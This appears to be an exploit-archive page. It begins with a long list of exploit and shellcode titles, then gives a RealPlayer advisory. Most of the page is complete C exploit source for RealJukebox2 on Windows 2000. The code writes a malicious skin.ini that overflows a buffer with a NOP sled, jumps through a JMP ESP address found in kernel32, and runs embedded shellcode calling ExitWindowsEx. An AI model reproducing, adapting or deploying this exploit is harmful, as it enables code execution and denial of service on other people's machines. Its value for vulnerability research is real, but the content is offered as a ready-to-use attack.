880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
104 lines
No EOL
3.2 KiB
C
104 lines
No EOL
3.2 KiB
C
// source: https://www.securityfocus.com/bid/3809/info
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RealPlayer is a software package distributed and maintained by Real Media. It is available for Microsoft Windows, Unix, and Linux.
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A problem with the handling of file format may make it possible to remotely crash RealPlayer. The problem could also potentially result in code execution.
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Upon receiving a file with a malformed header, it is possible to crash the RealPlayer client. A file that specifies a content length greater than the actual size creates a circumstance where RealPlayer reacts unpredictably and becomes unstable. This usually results in the crashing of RealPlayer. This problem may also make it possible to execute arbitrary code.
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/*===========================================================
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RealJukebox2 1.0.2.379 Exploit
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for Windows Windows2000 Professional (Service Pack 2)
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The Shadow Penguin Security (http://www.shadowpenguin.org)
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Written by UNYUN (unyun@shadowpenguin.org)
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============================================================
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*/
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#include <stdio.h>
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#include <windows.h>
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#define MAXBUF 4096
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#define KERNEL_NAME "kernel32.dll"
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#define SKIN_INI "skin.ini"
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#define INI_FILE \
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"[MAIN]\n"\
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"Application=RealJukebox\n"\
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"Version=2\n"\
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"SkinFamilyCount=5\n"\
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"\n"\
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"CONTROL1Image=%s\n"
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#define NOP 0x90
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#define FAKE_OFS1 36
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#define FAKE_VAL1 0x7FFDF0F0
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#define RETADR_OFS 28
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#define CODE_OFS 60
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#define RETADR_2000pro 0x77e0af64
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static unsigned char egg_2000pro[512]={
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0xB8,0xA5,0xFA,0xE1,0x77,0x33,0xDB,0xB3,
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0x04,0x53,0x53,0xFF,0xD0,0x90,0xEB,0xFD,
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0x00
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};
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unsigned int search_mem(unsigned char *st,unsigned char *ed,
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unsigned char c1,unsigned char c2)
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{
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unsigned char *p;
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unsigned int adr;
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for (p=st;p<ed;p++)
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if (*p==c1 && *(p+1)==c2){
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adr=(unsigned int)p;
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if ((adr&0xff)==0) continue;
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if (((adr>>8)&0xff)==0) continue;
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if (((adr>>16)&0xff)==0) continue;
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if (((adr>>24)&0xff)==0) continue;
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return(adr);
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}
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return(0);
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}
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void valset(char *buf,unsigned int val)
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{
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buf[0]=val&0xff;
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buf[1]=(val>>8)&0xff;
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buf[2]=(val>>16)&0xff;
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buf[3]=(val>>24)&0xff;
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}
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int main(int argc,char *argv[])
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{
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FILE *fp;
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char buf[MAXBUF];
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unsigned int tgt,exw;
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unsigned char *kp;
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if ((fp=fopen(SKIN_INI,"wb"))==NULL){
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printf("Can not write file.\n");
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exit(1);
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}
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memset(buf,NOP,sizeof(buf));
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buf[sizeof(buf)-1]='\0';
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if ((kp=(unsigned char *)LoadLibrary(KERNEL_NAME))==NULL){
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printf("Can not find %s\n",KERNEL_NAME);
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exit(1);
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}
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tgt=search_mem(kp,kp+0x100000,0xff,0xe4);
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if (tgt==0) tgt=RETADR_2000pro;
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printf("kp = 0x%x\n",kp);
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printf("JMP ESP addr = 0x%x\n",tgt);
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exw=(unsigned int)ExitWindowsEx;
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printf("ExitWindowsEx = 0x%x\n",exw);
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valset(buf+FAKE_OFS1,FAKE_VAL1);
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valset(buf+RETADR_OFS,tgt);
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valset(egg_2000pro+1,exw);
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strncpy(buf+CODE_OFS,egg_2000pro,strlen(egg_2000pro));
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fprintf(fp,INI_FILE,buf);
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fclose(fp);
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printf("Created '%s'.\n",SKIN_INI);
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return(0);
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} |